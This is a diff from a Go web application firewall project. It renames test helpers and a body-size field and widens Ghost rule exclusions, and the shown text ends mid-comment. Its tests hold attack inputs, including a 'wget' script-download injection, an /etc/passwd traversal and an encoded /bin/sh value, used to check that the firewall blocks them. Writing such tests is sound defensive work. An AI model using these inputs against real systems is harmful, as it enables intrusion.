@@ -927,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) {
 		"syslog+tcp://[2001:db8::1]:514",
 		"syslog+tls://logs.example:6514/",
 	} {
-		cfg := fromEnvironment(t, environment{logRemoteURL: value})
+		cfg := wafFromEnvironment(t, environment{logRemoteURL: value})
 		if cfg.LogRemoteURL.String() != value {
 			t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
 		}
 	}
 
-	cfg := fromEnvironment(t, environment{logRemoteURL: ""})
+	cfg := wafFromEnvironment(t, environment{logRemoteURL: ""})
 	if cfg.LogRemoteURL != nil {
 		t.Errorf(
 			"set but empty, %s read as %v",
@@ -950,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) {
 		"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
 		"local0": 16, "local5": 21, "local7": 23,
 	} {
-		cfg := fromEnvironment(t, environment{logRemoteFacility: name})
+		cfg := wafFromEnvironment(t, environment{logRemoteFacility: name})
 		if cfg.LogRemoteFacility != number {
 			t.Errorf(
 				"%s read as %d, want %d",
@@ -1036,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	cfg := fromEnvironment(t, environment{instanceName: spaced})
+	cfg := wafFromEnvironment(t, environment{instanceName: spaced})
 	if cfg.LogRemoteAppName != spaced {
 		t.Errorf(
 			"not sending, %s is %q",
@@ -1047,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
 
 	sending[logRemoteAppName] = instance
 
-	cfg = fromEnvironment(t, sending)
+	cfg = wafFromEnvironment(t, sending)
 	if cfg.LogRemoteAppName != instance {
 		t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
 			cfg.LogRemoteAppName)
@@ -1073,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
 func TestAlertSettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 
 	if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
 		cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
@@ -1106,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
 		token   = "tk_0123456789abcdefghijklmnopq"
 	)
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		alertWebhookURL:      webhook,
 		alertWebhookHeaders:  "Authorization: Bearer abc:def , x-team:ops",
 		alertSlackWebhookURL: slack,
@@ -1144,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
 func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
 		alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
 	})
@@ -1202,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
 
 	const secret = "Bearer 0123456789abcdef"
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
 	})
 
@@ -1242,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
 		"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
 		"http://[2001:db8::1]:8080":                  "http://[2001:db8::1]:8080",
 	} {
-		cfg := fromEnvironment(t, environment{alertWebhookURL: value})
+		cfg := wafFromEnvironment(t, environment{alertWebhookURL: value})
 
 		var out bytes.Buffer
 
@@ -1278,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
 
 	const token = "tk_0123456789abcdefghijklmnopq"
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
 		alertNtfyURL:         "https://ntfy.example/sww-alerts",
 		alertNtfyToken:       token,
@@ -1345,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	cfg := fromEnvironment(t, environment{instanceName: name})
+	cfg := wafFromEnvironment(t, environment{instanceName: name})
 	if cfg.InstanceName != name {
 		t.Errorf(
 			"not sending to ntfy, %s is %q",
@@ -1396,7 +1396,7 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
 func TestLookupSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
 	})
 	wantLookupSettings(t, cfg, config.WAF{
@@ -1404,7 +1404,7 @@ func TestLookupSettingsAsSet(t *testing.T) {
 		AddLookupHeaders: true,
 	})
 
-	cfg = fromEnvironment(t, environment{lookupSource: off})
+	cfg = wafFromEnvironment(t, environment{lookupSource: off})
 	wantLookupSettings(t, cfg, config.WAF{
 		LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
 	})
@@ -1415,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
 
 	const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
 
-	cfg := fromEnvironment(
+	cfg := wafFromEnvironment(
 		t,
 		environment{lookupSource: fileSource, lookupDBPath: path},
 	)
@@ -1508,13 +1508,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
 		}
 	}
 
-	fromEnvironment(t, env)
+	wafFromEnvironment(t, env)
 }
 
 func TestAnomalySettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	wantAllOff(t, cfg)
 
 	if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
@@ -1556,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
 		}
 	}
 
-	cfg := fromEnvironment(t, env)
+	cfg := wafFromEnvironment(t, env)
 
 	if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
 		t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
@@ -1589,7 +1589,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
 		env[name] = off
 	}
 
-	wantAllOff(t, fromEnvironment(t, env))
+	wantAllOff(t, wafFromEnvironment(t, env))
 }
 
 // thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
@@ -1678,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) {
 
 	// Names and tags in either case, an AS number with leading zeros, and a
 	// name holding a =.
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		tagLists: "TorExit=" + torURL +
 			", vpn=mullvad=https://example.com/mullvad.txt",
 		dnsblZones:      "Zen.example",
@@ -1717,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 
 	const rw = "https://routewatch.example"
 
-	if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
+	if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
 		t.Errorf(
 			"default %s is %q, want unset",
 			routeWatchURL,
@@ -1725,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 		)
 	}
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
 		tagLimitPercent: "prefix=192.0.2.0/24:50",
 	})
@@ -1742,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 	}
 
 	// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
-	fromEnvironment(t, environment{
+	wafFromEnvironment(t, environment{
 		lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
 	})
 
@@ -1919,7 +1919,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
 func TestBiasedThresholdsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	if len(cfg.ASNBytesLimitPercent) != 0 ||
 		len(cfg.CountryBytesLimitPercent) != 0 ||
 		cfg.UnknownCountryLimitPercent != 100 {
@@ -1934,7 +1934,7 @@ func TestBiasedThresholdsAsSet(t *testing.T) {
 
 	// AS numbers and countries in either case, an AS number with leading
 	// zeros, 0 and 100.
-	cfg = fromEnvironment(t, environment{
+	cfg = wafFromEnvironment(t, environment{
 		asnBytesLimitPercent:       "as16276:75",
 		countryBytesLimitPercent:   "ru:10",
 		unknownCountryLimitPercent: "0",
@@ -2016,7 +2016,7 @@ const (
 func TestReputationSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
 		cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
 		t.Errorf(
@@ -2043,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) {
 		{"limit:0", actionLimit, 0},
 	} {
 		// An hour, the shortest refresh allowed.
-		cfg := fromEnvironment(t, environment{
+		cfg := wafFromEnvironment(t, environment{
 			blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
 			blocklistAction: tc.value, asnLimitPercentURL: asnURL,
 		})
@@ -2140,7 +2140,7 @@ const (
 func TestDNSBLSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
 		cfg.DNSBLAbuseIPDBAction != actionLimit ||
 		cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
@@ -2188,7 +2188,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) {
 			[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
 		},
 	} {
-		cfg := fromEnvironment(t, environment{
+		cfg := wafFromEnvironment(t, environment{
 			dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
 			ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
 		})
@@ -2310,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
 func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(
+	cfg := wafFromEnvironment(
 		t,
 		environment{dnsblZones: dronebl + ", " + spamhaus},
 	)
@@ -2375,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
 func TestAbuseIPDBSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
 		cfg.AbuseIPDBDailyBudget != 900 {
 		t.Errorf(
@@ -2387,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) {
 		)
 	}
 
-	cfg = fromEnvironment(t, environment{
+	cfg = wafFromEnvironment(t, environment{
 		abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
 	})
 	if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
@@ -2442,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(
 func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
+	cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token})
 
 	var out bytes.Buffer
 
@@ -2459,7 +2459,7 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
 func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{})
+	cfg := wafFromEnvironment(t, environment{})
 	if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
 		t.Errorf(
 			"by default, the decision list %q and the key %q, want neither",
@@ -2474,7 +2474,7 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
 		"https://crowdsec.example/lapi/":  "https://crowdsec.example/lapi/v1/decisions",
 		"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
 	} {
-		cfg := fromEnvironment(
+		cfg := wafFromEnvironment(
 			t,
 			environment{crowdSecURL: lapi, crowdSecKey: token},
 		)
@@ -2568,7 +2568,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
 func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
 	})
 
@@ -2591,7 +2591,7 @@ func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
 func TestSizesAndOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		bytesLimitPerMinute: "3G",
 		bytesLimitPerHour:   off,
 		alertCooldown:       off,
@@ -2611,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) {
 func TestRateLimitsOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		rateLimitPerMinute: off,
 		rateLimitPerHour:   off,
 		rateLimitPerDay:    off,
@@ -2631,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) {
 func TestBanResponseCloseIsZero(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{banResponse: "close"})
+	cfg := wafFromEnvironment(t, environment{banResponse: "close"})
 	if cfg.BanResponse != 0 {
 		t.Errorf("close read as %d, want 0", cfg.BanResponse)
 	}
@@ -2883,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
 func TestTokensAreReadAndLoggedMasked(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(
+	cfg := wafFromEnvironment(
 		t,
 		environment{adminToken: otherToken, metricsToken: token},
 	)
@@ -2915,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) {
 		token + "\n\n": token + "\n",
 		token + " \n":  token + " ",
 	} {
-		cfg := fromEnvironment(t, environment{
+		cfg := wafFromEnvironment(t, environment{
 			metricsToken + "_FILE": writeFile(t, contents),
 		})
 		if cfg.MetricsToken != want {
@@ -2991,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
 	t.Parallel()
 
 	path := writeFile(t, token+"\n")
-	cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path})
+	cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path})
 
 	var out bytes.Buffer
 
@@ -3021,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
 func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{
+	cfg := wafFromEnvironment(t, environment{
 		logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
 	})
 	if cfg.LogRemoteTLSCAs != nil {
@@ -3048,7 +3048,7 @@ func writeFile(t *testing.T, contents string) string {
 func TestLogsEachSettingWithItsValue(t *testing.T) {
 	t.Parallel()
 
-	cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"})
+	cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"})
 	hostname, _ := os.Hostname()
 
 	want := map[string]string{

internal/coreruleset/coreruleset.go

@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
 // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
 // for concurrent use.
 type CoreRuleSet struct {
-	engine    coraza.WAF
-	bodyLimit int64
+	engine             coraza.WAF
+	bodyInspectionSize int64
 	// appsByHostname are the names of the apps each hostname serves, by
 	// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
 	appsByHostname map[string][]string
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
 
 // New returns the Core Rule Set with the five changes and the apps' fixes,
 // at params' paranoia level, without the rules it switches off, reading
-// request bodies up to params' limit, and with params' exclusions file
-// loaded before the Core Rule Set's rules. An exclusions file is an error
-// if it cannot be read or does not parse, or if checkExclusions refuses
-// it.
+// request bodies up to params' body inspection size, and with params'
+// exclusions file loaded before the Core Rule Set's rules. An exclusions
+// file is an error if it cannot be read or does not parse, or if
+// checkExclusions refuses it.
 func New(params Params) (*CoreRuleSet, error) {
 	body := ""
 	if params.BodyInspectionSize > 0 {
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
 	}
 
 	return &CoreRuleSet{
-		engine:         engine,
-		bodyLimit:      params.BodyInspectionSize,
-		appsByHostname: params.Apps,
+		engine:             engine,
+		bodyInspectionSize: params.BodyInspectionSize,
+		appsByHostname:     params.Apps,
 	}, nil
 }
 
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
 // readBody reads body, the body of the request in tx, which has run on
 // the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
 // set and the body is of a kind the Core Rule Set reads: form data and
-// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
-// XML, which it reads only when they are no longer than that, since they
-// cannot be read in part.
-// readBody reads one byte past the limit, to tell which they are, gives
-// the Core Rule Set what it reads, and returns what it read and the error
-// that ended the reading early, if one did.
+// multipart, of which it reads the first c.bodyInspectionSize bytes, and
+// JSON and XML, which it reads only when they are no longer than that,
+// since they cannot be read in part.
+// readBody reads one byte past c.bodyInspectionSize, to tell which they
+// are, gives the Core Rule Set what it reads, and returns what it read and
+// the error that ended the reading early, if one did.
 func (c *CoreRuleSet) readBody(
 	tx types.Transaction,
 	body io.Reader,
 ) ([]byte, error) {
-	if c.bodyLimit == 0 {
+	if c.bodyInspectionSize == 0 {
 		return nil, nil
 	}
 
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
 		return nil, nil
 	}
 
-	read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
+	read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
 
-	if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
+	if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
 		// Coraza holds what it reads of the body in memory, up to the
 		// limit, so this cannot fail.
 		_, _, _ = tx.WriteRequestBody(read)

internal/coreruleset/coreruleset_test.go

@@ -919,6 +919,10 @@ const retypeKey = "retype"
 // system files (930120) holds.
 const htaccess = ".htaccess"
 
+// binSh is the shell path /bin/sh as a query or form value, which the rule for
+// shell paths (932160) refuses.
+const binSh = "%2Fbin%2Fsh"
+
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //
@@ -1089,7 +1093,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
 	const workers, perBody = 16, 10
 
 	crs, err := loaderFor(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})()
 	if err != nil {
 		return nil, err
@@ -1173,8 +1178,11 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
 	names := []string{name}
 
 	body := passwordBody(t, r, names, misfiring...)
-	if len(body) > bodyLimit {
-		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
+	if len(body) > bodyInspectionSize {
+		t.Fatalf(
+			"a body of %d bytes is cut at bodyInspectionSize",
+			len(body),
+		)
 	}
 
 	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -2310,9 +2318,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	wantBody(t, crs, signIn, body, matched(930120), body)
 }
 
-// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
-// read bodies.
-const bodyLimit = 8 << 10
+// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
+// tests that read bodies.
+const bodyInspectionSize = 8 << 10
 
 // The Content-Type headers of the kinds of body the Core Rule Set reads.
 const (
@@ -2335,12 +2343,13 @@ const pathTraversal = "../../etc/passwd"
 const shellCommand = "; wget http://example.com/x.sh"
 
 // readingBodies returns the Core Rule Set as sww runs it by
-// default, but reading bodies up to bodyLimit.
+// default, but reading bodies up to bodyInspectionSize.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
 	t.Helper()
 
 	return shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})
 }
 
@@ -2414,7 +2423,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	pad := strings.Repeat("a", bodyLimit)
+	pad := strings.Repeat("a", bodyInspectionSize)
 
 	for _, tc := range []struct{ header, attackFirst, attackLast string }{
 		{
@@ -2427,20 +2436,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		},
 	} {
 		wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
-			tc.attackFirst[:bodyLimit+1])
+			tc.attackFirst[:bodyInspectionSize+1])
 		wantBody(
 			t,
 			crs,
 			post(tc.header),
 			tc.attackLast,
 			coreruleset.Result{},
-			tc.attackLast[:bodyLimit+1],
+			tc.attackLast[:bodyInspectionSize+1],
 		)
 	}
 
 	// To the byte: a system file's path is found when it ends at the limit,
 	// and not when its last letter is past it, which is still read.
-	atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
+	atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
 	wantBody(
 		t,
 		crs,
@@ -2450,7 +2459,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
 		atLimit,
 	)
 
-	pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
+	pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
 	wantBody(
 		t,
 		crs,
@@ -2470,10 +2479,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
 		{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
 		{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
 	} {
-		fits := padded(tc.head, tc.tail, bodyLimit)
+		fits := padded(tc.head, tc.tail, bodyInspectionSize)
 		wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
 
-		larger := padded(tc.head, tc.tail, bodyLimit+1)
+		larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
 		wantBody(
 			t,
 			crs,
@@ -2530,7 +2539,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
 
 	// Whatever its size: a JSON body larger than the limit is not read, but
 	// Content-Encoding on it is refused all the same.
-	larger := strings.Repeat("a", bodyLimit+1)
+	larger := strings.Repeat("a", bodyInspectionSize+1)
 	wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
 
 	// It is allowed on a body of any other kind, and on every body while no
@@ -2850,7 +2859,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 	// that has no colon, before the attack. They do so padded past the
 	// limit too, which cuts them in the padding.
 	noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
-	pad := field("pad", strings.Repeat("a", bodyLimit))
+	pad := field("pad", strings.Repeat("a", bodyInspectionSize))
 
 	for _, tc := range []struct{ header, head string }{
 		{multipart + "; boundary=c", ""},
@@ -2868,7 +2877,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
 
 		body = tc.head + field("q", injection) + pad + end
 		wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
-			body[:bodyLimit+1])
+			body[:bodyInspectionSize+1])
 	}
 }
 
@@ -2881,7 +2890,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 	cut := "--b\r\nContent-Di"
 	first := field(
 		"pad",
-		strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
+		strings.Repeat(
+			"a",
+			bodyInspectionSize-len(field("pad", ""))-len(cut),
+		),
 	)
 	body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
 
@@ -2891,7 +2903,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
 		post(multipart),
 		body,
 		matched(900440, 900450),
-		body[:bodyLimit+1],
+		body[:bodyInspectionSize+1],
 	)
 }
 
@@ -2910,12 +2922,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
 	for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
 		first := field(
 			"pad",
-			strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
+			strings.Repeat(
+				"a",
+				bodyInspectionSize-len(field("pad", ""))-cut,
+			),
 		)
 		body := first + field("q", "1") + end
 
 		wantBody(t, crs, post(multipart), body, matched(900440, 900450),
-			body[:bodyLimit+1])
+			body[:bodyInspectionSize+1])
 	}
 }
 
@@ -2930,7 +2945,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	// The test loads its own Core Rule Set, since loading is part of what
 	// it checks.
 	crs, err := coreruleset.New(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 	})
 	if err != nil {
 		t.Fatalf("load the Core Rule Set: %v", err)
@@ -2942,7 +2958,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
 	wantBody(t, crs, post(multipart), body, matched(942100), body)
 }
 
-func TestBodyLimitOf1GLoads(t *testing.T) {
+func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
 	t.Parallel()
 
 	_, err := coreruleset.New(

internal/coreruleset/forgejo_test.go

@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
 		"/alice/-/packages/npm/x?q=",
 		"/alice/tools/branches?other=",
 	} {
-		for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
+		for _, value := range slices.Concat([]string{binSh}, hardValues) {
 			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
 				t.Errorf("%s%s let through: %+v", target, value, got)
 			}

internal/coreruleset/ghost.conf

@@ -7,7 +7,8 @@
 #
 # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
 # themes and Ghost's own scripts call the Content API under /ghost/api/content/,
-# and members call /members/api/. Coraza names a field of a JSON body by its
+# and members call /members/api/. The admin calls ActivityPub, a service of its
+# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
 # path, so the title of the first post saved is json.posts.0.title.
 
 # Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -17,11 +18,22 @@
 SecRule &TX:app_ghost "@eq 0" \
     "id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
 
-# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
-# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
+# filter, a query in Ghost's own filter language, skips seven rules on the
+# Admin API and the Content API:
+#   932120: filter=tag:powershell, filter=name:~'powershell'
+#   932125, 932230, 932250: filter=title:~'powershell & ls -la'
+#   932235, 932260: filter=title:~'powershell & python3', which the admin's
+#   post picker sends when a person types that title
+#   932380: filter=title:~'python3 & powershell'
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
     "id:900350,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=932120;ARGS:filter"
+    ctl:ruleRemoveTargetById=932120;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932125;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932230;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932235;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932250;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932260;ARGS:filter,\
+    ctl:ruleRemoveTargetById=932380;ARGS:filter"
 
 # search, the search for a member by name or address, skips four rules on the
 # Admin API:
@@ -45,10 +57,61 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
     ctl:ruleRemoveTargetById=930120;ARGS:url,\
     ctl:ruleRemoveTargetById=932120;ARGS:url"
 
-# The fields a person types plain text into skip seven rules on the Admin API:
+# The query fields that filter the analytics skip the eight rules that 900353
+# lists, on /ghost/api/admin/stats/:
+#   932120: source=powershell.example.com
+#   932235, 932260: utm_campaign=powershell & python3
+#   932250: utm_term=ls -la
+# These fields filter the figures by the site a visit came from, or a
